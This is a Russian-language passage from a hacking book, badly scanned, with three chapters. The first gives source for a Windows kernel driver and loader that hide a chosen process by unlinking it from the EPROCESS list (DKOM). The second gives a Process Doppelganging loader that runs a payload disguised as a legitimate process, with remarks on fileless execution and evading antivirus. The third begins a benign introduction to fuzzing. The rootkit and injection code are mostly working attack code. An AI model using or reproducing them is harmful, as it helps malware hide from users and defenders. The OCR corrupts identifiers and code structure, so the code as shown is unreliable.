тывать . Это д елается при помощи функции IoGetCurrentlrpStackLocation, на вход 

которой подается указатель на пакет. Кроме этого , необходимо будет получить от 

диспетчера ввода-вывода размеры буферов ввода-вывода , чтобы иметь возмож ­

ность передавать и получать данные от пользовательского приложения . Шаблон­

ный код каркаса обработчика управляющей процедуры : 

// Получаем указатель на стек IRP пакета 

PIO_STACK_LOCATION pirpSt = IoGetCurrentirpStackLocation(pirp) ; 

// Получаем размер буфера ввода 

ULONG InBufLen = IrpStack->Parameters.DeviceioControl . InputBufferLength ; 

// Получаем размер буфера вывода 

ULONG OutBufLen = IrpStack->Parameters . DeviceioControl.OutputBufferLength; 

// Получаем код у прав ляющей процедуры 

ULONG CtrlCode = IrpStack- >Parameters . DeviceioControl . IoControlCode ; 

NTSTATUS status 

swich(CtrlCode) 

case IRP МУ FUNC : 

STATUS SUCCESS ; 

// Здесь код , который будет вызываться управляющей процедурой IRP МУ FUNC 

break ; 

default : 

status 

break ; 

STATUS INVALID_DEVICE_REQUEST ; 

return status ; 

Создание устройства драйвера 

Чтобы взаимодействовать с драйвером, мы должны создать « объект-устройство 

драйвера». Для этого используем АРl-функцию IoCreateDevice. Кроме того , мы 

создадим символические ссылки на наш драйвер , чтобы он был виден в диспетчере 

ввода-вывода в директории \Device. Если этого не сделать , то обратиться к объекту­

устройству драйвера можно будет только из самого драйвера, но не из внешнего 

приложения. Вот код , который создает объект-устройство драйвера и символиче­

ские ссылки на него : 

#define NT_DEV_NAМE L" \\Device\\drv_dkom" 

#define DOS DEV NАМЕ L"\\DosDevices\\drv dkom" - - -

NTSTATUS status = STATUS SUCCESS ; 

PDEVICE OBJECT pDvcObj = NULL ; 

UNICODE STRING usDrvName , usDosDvcName ; 
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RtlinitUnicodeString (& usDrvNarne , NT_DEV_NAМE) ; 

RtlinitUnicodeString(&usDosDvcNarne , DOS_DEV_NAМE) ; 

status = IoCreateDevice (pDriverObject , О , 

&UsDrvNarne , 

if ( !NT_SUCCESS (status)) 

return status ; 

FILE _ DEVICE _ UNКNOWN , 

FILE_DEVICE_SECURE_OPEN , 

FALSE , &pDvcObj) ; 

status = IoCreateSymЬolicLink (&usDosDvcN arne , &usDrvNarne) ; 

if ( !NT_SUCCESS(status)) { 

IoDeleteDevice(pDvcObj ) ; 

return status ; 

Итак , мы рассмотре ли основные структурные единицы драйвера режима ядра , уви­

дел и , как д райвер общается с режимом usermode и как заставить его выполнять 

определенные коман д ы . Теперь напишем сам драйвер режима ядра. 

Скрытие процессов методом ОКОМ 

(Direct Kernel Object Manipulation) 

Настало время применить полученные знания о драйверах режима ядра на практике 

дл я з акреп ле ния ре зультата . Сейчас мы напишем д райвер KMDF дл я скрытия про­

цессов методом прямой манипуляции объектами ядра (ОКОМ). Как именно мы бу­

дем скрывать наши процессы? Информация о процессах хранится в структуре ядра 

под названием EPROCESS, так что об ратим ся к ней. 

Структура EPROCESS, блок процесса . В ней содержится много информации о про­

цессе , указатели на несколько структур данных , например РЕВ, структуру KPROCESS, 
структуры KTHREAD и ETHREAD. Эта структура заполняется исполнительной систе ­

мой ОС , находится в системном адресном пространстве (kernelmode) , как и все свя­

занные структуры , кроме РЕВ . Все процессы имеют эту структуру . 

Чт обы увидеть EPROCESS самостоятельно , достаточно подключитьс я ядерным 

отладчиком WinDbg к ядру ОС и ввести команду dt _EPROCESS. После этого ты у ви­

д ишь что-то вроде этого (смещения отличаютс я в ра з ных версиях ядер Windows): 

lkd> dt EPROCESS 

nt! EPROCESS 

+ОхООО РсЬ 

+0x2d8 ProcessLock 

+ Ох2е0 RundownProtect 

KPROCESS 

ЕХ PUSH LOCK 

ЕХ RUNDOWN REF 
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+Ох2е8 UniqueProcessid 

+0x2f0 ActiveProcessLinks 

+ОхЗОО Flags2 

Ptr64 Void 

LIST ENTRY 

Uint4B 

+ОхЗОО JobNotReallyActive : Pos О , 1 Bit 

+ОхЗОО AccountingFolded : Pos 1, 1 Bit 

+ОхЗОО NewProcessReported : Pos 2, 1 Bit 

+ОхЗОО ExitProcessReported : Pos 3, 1 Bit 

+ОхЗОО ReportCornmitChanges : Pos 4, 1 Bit 

+ОхЗОО LastReportMemory : Pos 5, 1 Bit 

+ОхЗОО ForceWakeCharge Pos 6, 1 Bit 

+ОхЗОО CrossSessionCreate : Pos 7 , 1 Bit 

+ОхЗОО NeedsHandleRundown : Pos 8 , 1 Bit 

+ОхЗОО RefTraceEnaЫed Pos 9, 1 Bit 

+ОхЗОО DisaЬleDynamicCode : Pos 10 , 1 Bit 

+ОхЗОО EmptyJobEvaluated : Pos 11 , 1 Bit 

Ра зу меется , это не вся структура , она несколько больше. Отладчик показывает 

смещения по лей относительно начала структуры EPROCESS. В ней нас интересу­

ют неско ль ко полей . ActiveProcessLinks - указатель на структуру 

_LIST_ENTRY, которая, в свою очередь, указывает на процессы после нашего 

(FLink) и пере д ним (BLink). Чтобы было понятнее , вот прототип _LIST_ENTRY: 

typedef struct _LIST_ENTRY { 

struct LIST ENTRY *FLink ; 

struct LIST ENTRY *BLink ; 

LIST_ENTRY , *PLIST_ENTRY; 

Размеры , типы да нны х и смещения от начала списка : 

lkd> dt LIST ENTRY 

nt! LIST ENTRY 

+ОхООО Flink Ptr64 LIST ENTRY 

+Ох008 Blink Ptr64 LIST ENTRY 

Как ты мог дога д аться , наша зада ча - удалить процесс из это го списка , чтобы 

сделать его н е ви дим ым. А если точнее, подправить записи BLink и FLink таким 
образом , чтобы они « пропускали» нужный процесс. Для эт ого проверим каждый 

пр оц есс в этом списке на н уж ный нам PID и , если найдем его , вызовем функцию 

з амены полей BLink и FLink. PID мы также можем получить и з структуры 

EPROCESS, нужное по ле называется UniqueProcessШ . Для получения блока 

EPROCESS воспо л ь зу емся функцией PsGetCurrentProcess, которая вернет указа­

тель на него : 

// Объявим нужные смещения , актуальн ы е для Windows 10 х64 

#define UniqueProcessid Ох2е8 

#define ActiveProcessLinks 0x2f0 

#define ImageFileName Ох450 

#define IRP HIDE PROC Ох801 
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#define NT DEV NАМЕ L"\\Device \ \drv dkom" 

#define DOS DEV NАМЕ L"\\DosDevices \\drv dkom" 

NTSTATUS Dri verEntry (PDRIVER_OBJECT pDriverObject , PUNICODE STRING pRegPath) 

{ 

// Создадим устройство драйвера и настроим символические ссыnки 

NTSTATUS status = STATUS SUCCESS ; 

PDEVICE OBJECT pDvcObj = NULL ; 

UNICODE_STRING usDrvName , usDosDvcName ; 

RtlinitUnicodeString(&usDrvName , NT_DEV_NAМE) ; 

RtlinitUnicodeString(&usDosDvcName , 00S_DEV_NAМE ) ; 

status = IoCreateDevice (pDriverObject , О , 

&usDrvName , 

FILE_DEVICE_UNКNOWN , 

FILE_DEVICE_SECURE_OPEN, 

FALSE , &pDvcObj ) ; 

if ( !NT_SUCCESS (status ) ) 

return status ; 

status = IoCreateSymЬolicLink(&usDosDvcName , &usDrvName) ; 

if ( !NT_SUCCESS (status )) { 

IoDeleteDevice (pDvcObj ) ; 

return status ; 

// Настроим IRP на функцию - заглушку , нашу основную рабочую функцию 

и функцию выгрузки драйвера 

// Заполним все ко.Щ,I IRP ссыnкой на функцию - заглушку 

int х ; 

f or ( х = О ; х < IRP_MJ_МAXIМUМ_FUNCTION ; ++х) 

pDriverObject->MajorFunction[x] = MyCallbackFunk; 

pDriverObject->MajorFunction[IRP MJ DEVICE CONTROL] = MyControlHide ; 
/ / Настроили вызов функции MyCallbackCoпtrol на запрос IRP MJ DEVICE CONTROL 

pDriverObject->DriverUnload = DrvUnload ; 

returп status ; 

VOID DrvUnload (PDRIVER OBJECT pDriverObject ) 

// Выгрузка : удаляем символические ссыnки и устройство 

IoDeleteSymЬolicLink ( &usDosDvcName ) ; 

IoDeleteDevice(pDriverObject->DeviceObject) ; 
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NTSTATUS MyCallbackFunk(PDEVICE_OBJECT pDeviceObject , PIRP pirp) 

pirp->IoStatus.Status = STATUS SUCCESS ; 

IoCornpleteRequest(pirp , IO_NO_INCREMENT); 

return pirp->IoStatus . Status ; 

NTSTATUS MyControlHide(PDEVICE_OBJECT pdevObj , PIRP pirp) 

// Получаем указатель на стек IRP пакета 

PIO_STACK_LOCATION pirpSt = IoGetCurrentirpStackLocation(pirp) ; 

// Получаем размер буфера ввода 

ULONG InBufLen = pirpSt->Pararneters . DeviceioControl.InputBufferLength; 

// Получаем размер буфера вывода 

ULONG OutBufLen = pirpSt->Pararneters . DeviceioControl .OutputBufferLength ; 

// Получаем код управляющей процедуры 

ULONG CtrlCode = pirpSt - >Pararnete rs . DeviceioCoпtrol.IoCoпtrolCode ; 

NTSTATUS status = STATUS SUCCESS ; 

switch(CtrlCode ) { 

case IRP HIDE PROC : 

IпВufLeп = pirp->Associatedirp . SysternВuffer ; 

pirp->IoStatus.Inforrnation = strlen(InBufLen); 

hide_proc(IпВufLen) ; 

break; 

default: 

status 

break; 

STATUS_INVALID_DEVICE_REQUEST ; 

return status ; 

VOID hide_proc(char *ре) 

{ 

// Модифицируем поля FLink и BLink 

PEPROCESS currentProc = (PEPROCESS)PsGetCurrentProcess () ; 

PEPROCESS startProc = (PEPROCESS) PsGetCurrentProcess () ; 

PLIST ENTRY activeProcLinks ; 

PUCНAR plrnageFileNarne; 

PUINT32 pPidProc ; 
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for ( ; ((DWORD64)startProc != (DWORD64)currentProc) ; ) 

pimageFileName = (PUCНAR) ((DWORD64)currentProc + ImageFileName ) ; 

pPidProc = (PU INT32 ) ((DWORD64)currentProc + UniqueProcessid) ; 

activeProcLinks = (PLIST_ENTRY ) ((DWORD64)currentProc + 

ActiveProcessLinks) ; 

startProc = (PEPROCESS ) (( DWORD64)activeProcLinks- > 
Flink - ActiveProcessLinks) ; 

if (!strcmp((const char*)pimageFi l eName , ТЕХТ(рс))) { 

* ( (PDWORD64)activeProcLinks- >Blink) = (DWORD64)activeProcLinks- > 
Flink ; 

* (( PDWORD64 ) (activeProcLinks- >Flink) + 1 ) = 
(DWORD64)activeProcLinks->Blink; 

activeProcLinks- >Blink 

activeProcLinks- >Flink 

(PLIST_ENTRY)&activeProcLinks - >Fl ink ; 

(PLI ST_ENTRY )&activeProcLinks->Flink ; 

Самое интересное происходит в функции hide_proc, точнее в ее цикле: мы обходим 

двусвязный список и модифицируем поля FLink и BLink. С этого момента целевой 

процесс будет скрыт. Теперь перейдем к не менее важному вопросу - созданию 

управляющей программы для нашего драйвера. Она должна загружать драйвер и 

отправлять ему команды. 

Загрузчик драйверов 

Загрузить драйвер в ядро можно несколькими способами, самые популярные из 

них - это загрузка при помощи SCM (Service Control Manager) и с использованием 

NT АРI-функции NtLoadDriver. Мы выберем первый вариант , как рекомендован­

ный Microsoft и и з бавляющий нас от многих излишних манипуляций: основную 

работу за нас сделает именно Service Control Manager. Но для начала зададим нуж­

ные привилегии : 

BOOL setPrivileges(LPCTSTR szPrivName) 

{ 

TOКEN_PRIVILEGES tp = { 0 }; 

НANDLE hToken = О ; 

tp . PrivilegeCount = l; 

tp . Privileges[0] .Attributes = SE _ PRIVILEGE_ENAВLED ; 

if ( !OpenProcessToken(GetCurrentProcess() , TOКEN_ADJUST_PRIVILEGES , 

&hToken )) 

std :: cout << "OpenProcessToken fai led\n"; 
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if (!LookupPrivilegeValue(NULL, szPrivName , &tp . Privileges[0] .Luid)) 

std : : cout << "LookupPrivilegeValue failed\n"; 

if (!AdjustTokenPrivileges(hToken, FALSE, &tp , sizeof(tp) , NULL , NULL)) 

std: : cout << "AdjustTokenPrivileges failed\n" ; 

CloseHandle(hToken); 

return TRUE ; 

return FALSE ; 

Вызов функции: 

setPrivileges( "SeLoadDriverPrivilege" ) ; 

После этого регистрируем драйвер в системе (проверки на ус пешность вызовов 

умышленно опускаю для лучшей читаемости кода) : 

// Путь к нашему драйверу 

#define DRV "c:\\\\Windows\\System32\\drivers\\dkomdrv . sys " 

// Имя сервиса 

#define SRV "dkomdrv" 

// Имя устройства 

#define DVC " \\\\.\\dkomdrv" 

// Код , говорящий драйверу скр ыть процесс 

#define IRP HIDE PROC 0xB0l 

SC_НANDLE hSCМgr , hSrv; 

НANDLE hDvc; 

// Открываем SCM 

hSCMgr = OpenSCManager(NULL, NULL , SC_МANAGER _ ALL_ACCESS) ; 

// Создаем сервис 

hSrv = CreateService( 

hSCМanager , 

ТЕХТ (SRV) , 

ТЕХТ (SRV) , 

SC _ МANAGER _ ALL_ACCESS , 

SERVICE_КERNEL_DRIVER , 

SERVIC E_ DEМAND_START, 

SERVICE_ERROR_IGNORE , 

TEXT(DRV) , 

NULL , NULL, NULL, NULL , NULL 

) ; 

// Запускаем сервис 

StartService(hSrv, О , NULL); 
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Итак , драйвер установлен и запущен. Теперь самое важное: мы долж ны пос л ать 

драйве ру управляющий код , который заставит его скрыть нужный нам процесс (он 

задается переменной pid): 

hDvc = CreateFile( 

) ; 

ТЕХТ (DEVICE) , 

GENERIC READ I GENERIC_WRITE , 

о , 

NULL, 

OPEN_EXISTING, 

FILE ATTRIBUTE_NORМAL , 

NULL 

BOOLEAN total = DeviceioControl( 

hDevice , 

) ; 

IRP_HIDE_PROC, // Наш управляющий код 

pid, 

strlen(pid) + 1, 

retbuf , 

200 , 

&bytes_returпed , 

(LPOVERLAPPED) NULL 

После этого нужно закрыть все открытые хендлы, плюс можно д обавить проверки 

успешности вызовов функций , но я решил э то все уб рать , ч тобы ты видел че т кую 

последовательность д ействий д ля загрузки и управления драйвером , не отвлекаясь 

ни на что. После выполнения это го кода нужный процесс исчезнет из д испетчера 

задач и и з большинства приложений , которые работают с процессами. 

Итоги 

Мы ознакомились с основными понятиями , которые н у жно знать о драйверах ре­

жима я д ра , и создали собственный драйвер , скрывающий процессы методом 

ОКОМ . Ра зумеется, э то только самое начало пути в изучении д райверов , но в о д ­

ной небольшой заметке уместить все невозможно - по этой теме пишутся целые 

книги. Но чтобы начать собственные эксперименты, этого хватит. Как видишь , 

писать свои драйве ры не так сложно , как могло показаться! 
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11. Маскируем запуск п р оцессов 

при помощи Process Doppelganging 

Nik Zerof 

На конференции Black Hat Енrоре 2017 был представлен доклад о новой тех ни ке 

запуска процессов под названием Process Doppelga11ging. Вирмейкеры быст р о вз я ли 

эту технику на вооружение, и уже есть несколько вариантов малвари, котора я ее 

эксплуатирует. Я расскажу , в чем суть Process Doppelganging и на какие систем ны е 

механизмы он опирается. Заодно напишем небольшой загруз чик , который демо н ст­

рирует запуск о д ного процесса под видом другого. 

Техника Process Doppelganging чем-то похожа на своего предшественника -

Process Hollowing, но отличается механизмами запуска приложения и взаимодейст ­

в и я с загруз ч иком операционной системы. Кроме того , в новой технике п риме ня­

ются механизм тран за кций NTFS и соответствующие WinAPI, на пр име р 

CreateTransaction, CommitTransaction, CreateFileTransacted и RollbackTransaction, 
которые, р азумеется , не используются в Process Hollowing. 

Это одновременно сильная и слабая черта новой техн ики сокрытия процессов. 

С одной стороны , разработчики антивирусов и прочего з ащитного софта не были 

готовы к тому , что для з апуска вредоносного ко да будут использованы WinAPI, 

от в ечающие за транзакции NТFS. С д ругой стороны , после докл ада на конфе р е н­

ц ии эти WinAPI сразу попадут под подо з рение , если будут встречаться в ис п ол н яе ­

мом коде . И неудивительно: это ре дк ие системные вызовы , которые практически не 

применяются в обычных программах. Конечно , есть неско лько способов скрыть 

вы зо в ы WinAPI, но это уже д ругая история , а сейчас мы имеем неплохой ко н цепт, 

который можно развивать . 

Различия Process Doppelganging 
и Process Hollowing 

Ш и р око р аспространенная в узких кругах техника за п ус ка исполняемого кода 

Process Ho\lowing заключается в по дме не кода приостановленного легитим н ого 

п ро ц есса в р едоносным кодом и после ду ющем его выполнении . Вот общий пл ан 

действий при Process Hollowing. 

1. П р и помощи CreateProcess открыть легитимный доверенный процесс, устано­

вив флаг CREATE_SUSPENDED, чтобы процесс приостановился . 
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2. Скрыть отображение секции в адресном пространстве процесса при помощи 

NtU nmap ViewOfSection. 

3. Перезаписать ко д нужным при помощи WriteProcessMemory. 

4. Запуститься при помощи ResumeThread. 

По сути , мы вручную меняем работу загрузчика операционной системы и делаем з а 

него часть работы , попутно подменяя код в памяти . В свою очере д ь , для реализа­

ции техники Process Doppelganging нам нужно выполнить такие шаги: 

1. Создаем новую транзакцию NTFS при помощи функции CreateTransaction. 

2. В контексте транзакции создаем временный файл для нашего кода функцией 

Crea teFileTransacted. 

3. Создаем в памяти б у феры дл я временного файла ( объект « секция » , ф у нкция 

N tCreateSection ). 

4. Проверяем РЕВ. 

5. Запускаем процесс через NtCreateProcessExlResumeThread. 

Вообще , технология транзакций NTFS (TxF) появилась в Windows Vista на уровне 

драйвера NTFS и осталась во всех последующих операционных системах э того се­

мейства. Эта технология призвана помочь производить различные операции в фай­

ловой системе NТFS . Также она иногда используется при работе с базами данных. 

Операции TxF считаются атомарными - пока происходит работа с транзакцией 

(и связанными с ней файлами) , до ее закрытия или отката она не видна никому . 

И если будет откат , то операция не изменит ничего на жестком диске . Транзакцию 

можно создать при помощи функции CreateTransaction с нулевыми параметрами , 

а последний параметр - название транзакции . Прототип выглядит таким образом: 

НANDLE CreateTransaction( 

IN LPSECURITY ATTRIBUTES lpTransactionAttributes OPТIONAL , 

IN LPGUID UOW OPТIONAL , 

) ; 

IN DWORD CreateOptions 

IN DWORD IsolationLevel 

IN DWORD IsolationFlags 

IN DWORD Timeout 

LPWSTR 

Как пользоваться 

недокументированными NTAPI 

OPТIONAL , 

OPTIONAL, 

OPТIONAL , 

O PТIONAL , 

Descript i on 

В коде мы будем использовать недокументированные функции NТ API Windows. 

Они получаются динамически по своему прототипу . Вот один из возможных мето­

дов получения недок у ментированных функций и работы с ними . 
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Объяв л яем прототип ф у нкции NtQuerylnformationProcess: 

typedef NTSTATUS(WINAPI *NtQueryinformationProcess) (НANDLE , 

UINT , 

PVOID, 

ULONG, 

PULONG); 

На лету пол у чаем адрес нужной функции в библиоте к е ntdll.dll по ее и м ен и пр и 

помощи GetProcAddress и присваиваем его переменной наш е го прототип а : 

pNtQueryinformationPr ocess NtQueryi nfoPr ocess 

LoadLibrary(L"ntdll . dll" ) , 

"NtQueryinformationProcess " 

) ; 

(pNtQueryinformationProcess) 
GetProcAddress( 

З д есь используем функцию NtQuerylnformationProcess о б ычным образом , только 

через нашу переменную : 

NTSTATUS Status = pNtQueryinfoProcess( . . . ) ; 

if (Status == ОхОООООООО) return О ; 

Так пол у чаю т ся и использую т ся все необ х одимые не д ок ум ентированные ф у нкции , 

которые обычно выносят в header проекта. 

Приступаем к работе 

Начинаем писать приложение с самого начала . Условимся , что наше приложение 

(пейлоад) , ко т орое необхо д имо б у дет запустить от имени другого приложения (це­

ли) , будет передаваться в качес т ве второго аргумента , а цель - в качестве первого: 

int main(int argc , char *argv[]) { 

WCНAR descr[МAX_PATH] = { О }; 

НANDLE hTrans = CreateTransaction (NULL, 

о , 

О, 

О, 

О, 

О, 

descr); 

if (hTrans == INVALID_НANDLE_VALUE) 
return -1 ; 

Далее соз д аем фиктивный временный файл в контекс т е транзакции. 

НANDLE hTrans_file = CreateFileTransacted(dummy_file , 

GENERIC_WRITE I GENERIC_READ , 

О , 

NULL , 

OPEN_EXISTING, 



FILE ATTRIBUTE_NORМAL , 

NULL , 

hTrans , 

NULL , 

NULL} ; 
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if (hTrans file 

return - 1; 

INVALID_НANDLE_VALUE} 

В переменной dummy_file - путь к тому файлу , по д который мы маскируемся . 

Я буду стараться всег да приводить прототипы не документированн ы х функций : вот 

прототип CreateFileTransacted: 

НANDLE CreateFileTransactedA( 

LPCSTR lpFileName , 

DWORD dwDesiredAccess , 

DWORD dwShareMode , 

LPSECURITY ATTRIBUTES lpSecurityAttributes , 

DWORD dwCreationDisposi tion, 

DWORD dwFlagsAndAttributes , 

НANDLE hTemplateFile , 

НANDLE hTransaction , 

PUSHORT pusMiniVersion , 

PVOID lpExtendedParameter 

} ; 

Далее необходимо вы делить память для нашего пейлоада. Это можно сделать при 

помощи маппинга , а можно и обычным вызовом malloc: 

НANDLE input_payload = CreateFile(argv[2] , 

GENERIC_READ, 

О , 

NULL , 

OPEN_EXI STING , 

FILE ATTRIBUTE_NORМAL , 

NULL} ; 

if (input_payload 

return - 1; 

INVALID _НAND LE_VALUE } 

BOOL status = GetFileSizeEx(input_payload, &pf_size) ; 

if ( !status} return - 1 ; 

DWORD dwf_size = pf_size . LowPart ; 

ВУТЕ *buf = (ВУТЕ *)malloc(dwf_size} ; 

if ( !buf} return - 1 ; 

Думаю , что этот код не вызовет у тебя никаких трудностей : здес ь использ уют ся 

стандартные функции WinAPl и функции языка С . Итак , буфер в памяти готов , 

теперь з аполним его: 



DWORD read_bytes = О ; 

DWORD overwrote = О ; 
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if (ReadFile(input_payload , buf , dwf_size , &read_bytes , NULL) == FALSE) 

return -1 ; 

if (WriteFile(hTransactedFile , buf , dwf_size , &overwrote , NULL) 

return -1 ; 

status = NtCreateSection(&hSection_obj , 

SECTION_ALL_ACCESS , 

NULL , 

о , 

PAGE _READONLY , 

SEC_IМAGE , 

hTrans_file) ; 

if ( ! NT _ SUCCESS (status)) 

return -1 ; 

FALSE) 

С этого момента в памяти все готово: буфер выде лен и за полнен нашим пейлоадом. 

Теперь дело з а малым - со зд ать процесс , настроить Р Е В , вычислить то чку входа и 

запуститься в новом треде. Со зд авать процесс функцией CreateProcess мы не мо­

жем: ей нужен путь до файла , а если учесть , что файл , который мы создал и внутри 

транзакции , - фейковый , к тому же транзакция д аже не з авершена (и никогда не 

будет завершена, будет роллб э к) , то такой путь мы пре до ставить не в состоя нии . 

Но выхо д есть: испо л ь з овать функцию NT API NtCreateProcessEx. Ей не нужен 

путь к файлу , вот ее прототип : 

NTSTATUS 

NTAPI 

NtCreateProcessEx ( 

) ; 

Out PНANDLE ProcessHandle , 

In ACCESS_МASK DesiredAccess , 

_In_opt POBJECT_ATTRIBUTES ObjectAttributes , 

In НANDLE ParentProcess , 

In ULONG Flags , 

_In_opt_ НANDLE SectionHandle , 

_In_opt НANDLE DebugPort , 

_In_opt_ НANDLE ExceptionPort , 

In ULONG JobMemЬerLevel 

Пере д аваемый в эту функцию параметр SectionHandle не что иное , как секция, ко­

торую мы создали функцией NtCreateSection . 

status = NtCreateProcessEx(&h_proc , 

GENERIC _ ALL , 

NULL , 

GetCurrentProcess() , 



PS_INHERIT_НANDLES , 

hSection_obj , 

NULL , 

NULL , 

FALSE) ; 

if ( !NT SUCCESS (status )) 

return - 1 ; 
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Тут магия з аканчивается и начинается рутина. Если ты когда-нибудь писал про­

цедур у з ап у ска процессов и з памяти при помощи NtCreateProcessEx, то будет 

легко. Сначала з апо л ним RTL USER PROCESS PARAМETERS и запишем эти - -
д анные в наш процесс: 

UNICODE_STRING victim_path ; 

PRTL USER PROCESS PARAМETERS proc_parameters = О ; 

status = RtlCreateProcessParametersEx(&proc_parameters , 

&victim_path , 

NULL, 

NULL , 

&victim_path, 

NULL , 

NULL , 

NULL , 

NULL , 

NULL , 

RTL USER_PROC_PARAМS_NORМALIZED) ; 

if ( !NT_SUCCESS (status) ) 

return - 1 ; 

LPVOID r_proc_parameters ; 

r_proc_parameters = VirtualAllocEx(h_proc , proc parameters , 

(ULONGLONG )proc_parameters & 0xffff + proc_parameters- >EnvironmentSize 
+ proc_parameters- >MaximumLength, 

МЕМ_СОММIТ I MEM_RESERVE , 

PAGE_READWRITE) ; 

if ( ! r_proc parameters ) 

return - 1; 

status = WriteProcessMemory(h_proc , 

proc_parameters , 

proc_parameters , 

proc_parameters - >EnvironmentSize + proc_parameters->MaximumLength, 

NULL) ; 

if ( !NT_SUCCESS (status )) 

return - 1 ; 



□-- 130 -- □ 

Далее так же, при помощи WriteProcessMemory, настраиваем Р Е В : 

PROCESS_BASIC_INF ORМATION pb_info ; 

status = NtQueryinformationProcess ( 

h_proc , 

ProcessBasicinformation , 

&pb_info , 

sizeof(pb_info) , 

О) ; 

if ( !NT_SUCCESS (status)) 

return -1; 

РЕВ *реЬ = pb_info.PebBaseAddress; 

status = WriteProcessMemory(h_proc , 

&peb->ProcessParameters, 

&proc_parameters , 

sizeof (LPVOID) , 

NULL ) ; 

if ( 1NT SUCCESS(status ) ) 

return - 1; 

И последний, з авершающий штрих - запуск треда процесса . Для это го нужно 

узнать базовый адрес за гру зк и модуля и начало кода в выделенном нам и буфере. 

Код стандартный , упрощенный: 

PIМAGE DOS HEADER dos header = (PIМAGE _ DOS_HEADER ) buf ; 

PIМAGE NT HEADERS nt_header = (PIМAGE_NT_HEADERS ) (buf + dos_header->e_lfanew) ; 

ULONGLONG ep_proc = nt_header- >OptionalHeader .AddressOfEntryPoi nt; 

GetSysteminfo(&sys_info) ; 

LPVOID base addr = О ; 

while (p_memory < sys_info . lpMaximшnApplicationAddress ) 

VirtualQueryEx(h_proc , 

p_memory, 

&mem_basic_info , 

s izeof(МEMORY_BASIC_INFORМATION)) ; 

GetMappedFileName(h_proc , 

mem_basic_info.BaseAddress , 

mod_name , 

МАХ_РАТН) ; 

if (strstr(mod_name , argv[l])) 

base addr mem_basic_info.BaseAddress ; 
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p_rnemory = (LPVOID) ((ULONGLONG )rnem_basic_info . BaseAddress + 

(ULONGLONG )rnern_basic_info .RegionSize ) ; 

ep_proc += (ULONGLONG)base_addr; 

И запускаем сам поток: 

НANDLE hThread; 

status = NtCreateThreadEx (&hThread, 

GENERIC _ ALL, 

NULL, 

h_proc, 

(LPTНREAD_START ROUTINE)ep_proc, 

NULL, 

FALSE, 

о, 

О, 

о , 

NULL); 

if ( !NT_SUCCESS (status)) 

return -1; 

Вот и все. С этого момента наш код начинает работать под прикрытием другого 

процесса . Не забываем сделать роллбэк транзакции: 

if (!Rol lbackTransaction(hTrans )) return - 1 ; 

Заключение 

Как видишь, ничего сложного в этой новой атаке нет. Из бонусов - атака получа­

ется бесфайловой, весь код существует только в памяти, потому что мы не завер­

шаем транзакцию NTFS, а откатываем все изменения. 

Подобный метод внедрения несложно обнаружить: нужно просто сравнить код 

в памяти и на жестком диске . Кроме того , некоторые NT API, использованные 
выше, имеют высокий рейтинг у эвристиков антивирусов (например, та же 

NtCreateThreadEx). Подозрения у антивирусов может вызвать и сам факт исполь­

зования редких функций WinAPI, которые отвечают за транзакции NТFS , особенно 

в свете того, что в Microsoft не рекомендуют их использовать . Конечно , это не оз­

начает , что эвристика обязательно сработает , но точно заставит присмотреться к 

твоему файлу с сильной предвзятостью. 

Замечу, что приведенный мной код- это концепт , который еще улучшать и улуч ­

шать. Например , можно использовать маппинг для выделения буферов, можно 

зашифровать динамическое получение функций и т . д. 
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12. Фаззин г: автоматизируем 

поиск уязвимостей в программах 

Nik Zerof 

Фаззинг все чаще применяют и программисты - для проверки своих приложений 

на прочность , и исследователи безопасности , и хакеры . Н о пользоваться фаззерам · и 

не вый дет, если не понимаешь , что именно они делают . Зато , узнав это, ты освоишь 

современную технику , с помощью которой сейчас нахо д ят все новые и новые уяз­

вимости в самых разных приложениях. В это м раз деле я расскажу , как работают 

разны е виды фаззинга , и на примере WinAFL покажу , как пользоваться э тим инст­

рументом. 

В общих чертах смысл фаз зи нга заклю чае тся в передаче в программу ( я имею в ви­

ду любой исполняемый код, д инамическую библиотеку или д райвер) л юбого не­

стандартного потока данных, чтобы попытаться вызвать проб лем ы в ходе исполне­

ния . Так что же мы ищем при помощи фаз з инга? Это достато чно широкий спектр 

ошибок программного обеспечения , который включает в себя такие вещи , как пе­

р еполнение буферов , некорректная обработка поль зовательских да нных , разнооб­

разны е утечки ресурсов (в том чис ле при работе с памятью) , ра зл ичные ошибки 

синхронизации , приводящие к состоянию гонки , и прочее. Каждое такое событие 

фиксируется фа ззе ром и более подробно иссле ду ется в дальнейшем. 

Техники 

Существуют две основные техники фа зз инга - это мутационное и порождающее 

тестирования . При мутационном тестировании генерация последовательностей 

проис ходит на основе заранее определенных данных и шаблонов. Именно они со­

ставляют стартовый корпус фаззера . Изменяя байт за байтом значения на входе и 

проверяя работу программы , фаззер может делать выводы об успешности тех или 

иных « мутаций », чтобы в следующем раун де сгенерировать более э ффективные 

после довательности. 

Как видишь , сама концепция достаточно простая. Но за счет того, что количество 

итераций достигает сотен и тысяч миллионов (время тестирования при этом со­

ставляет несколько суток даже на мощных машинах) , фаз зе ры находят в програм­

мах самые нетривиальные ошибки. 
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В свою очередь, порождающее тестирование - это более продвинутая техника 

фаззинга, которая предполагает построение грамматик входных данных , основан­

ное на спецификациях. Это могут быть как файлы различных форматов , так и сете­

вые пакеты в протоколах обмена. В этом случае наши результаты должны соответ­

ствовать заранее определенным правилам. Порождающее тестирование сложнее 

мутационного в реали зации, но и вероятность успеха тут выше . 

Конечно , существуют и более продвинутые техники. Например, фаззинг с исполь­

зованием трассировки и построением уравнений для SМТ-решателей. В теории это 

помогает покрывать даже труднодоступные ветки кода . При этом включается трас­

са внутри ядра ОС с одновременным исключением известных участков (нет ника­

кого смысла фаззить внутренности функций WinAPI и прочего). Однако заставить 

все прави льно работать непросто , и сегодня это скорее « черная магия», чем распро­

страненная практика. 

Вместе с тем есть и совсем простое тестирование с отправкой на вход абсолютно 

случайных значений, но я не рассматриваю его и з-за очень низкой эффективности. 

По своему подхо ду оно больше похоже на перебор « грубой силой», т. к . история и 

успешность предыдущих попыток тут никак не учитываются. 

Одним из первых прототипов фаззеров считается программа The Monkey, созданная 
в далеком 1983 году . В названии очевидна отсылка к теореме о бесконечных обезья­

нах , которые пытаются напечатать «Войну и мир» . Несмотря на свою практическую 

бесполезность , теорема популярна в массовой культуре (например, упоминается в 

романе «Автостопом по галактике» и сериале «Симпсоны») и даже получила собст­

венный RFC 2795. 

Типы фаззеров 

С техниками фаз зи нга более-менее разобрались , теперь перейдем к типам фаззеров. 

Форматы файлов 

Будем считать входными да нными пользователя любой файл любого формата, ко­

торый наше тестируемое приложение возьмется 09работать. Это значит, что мы 

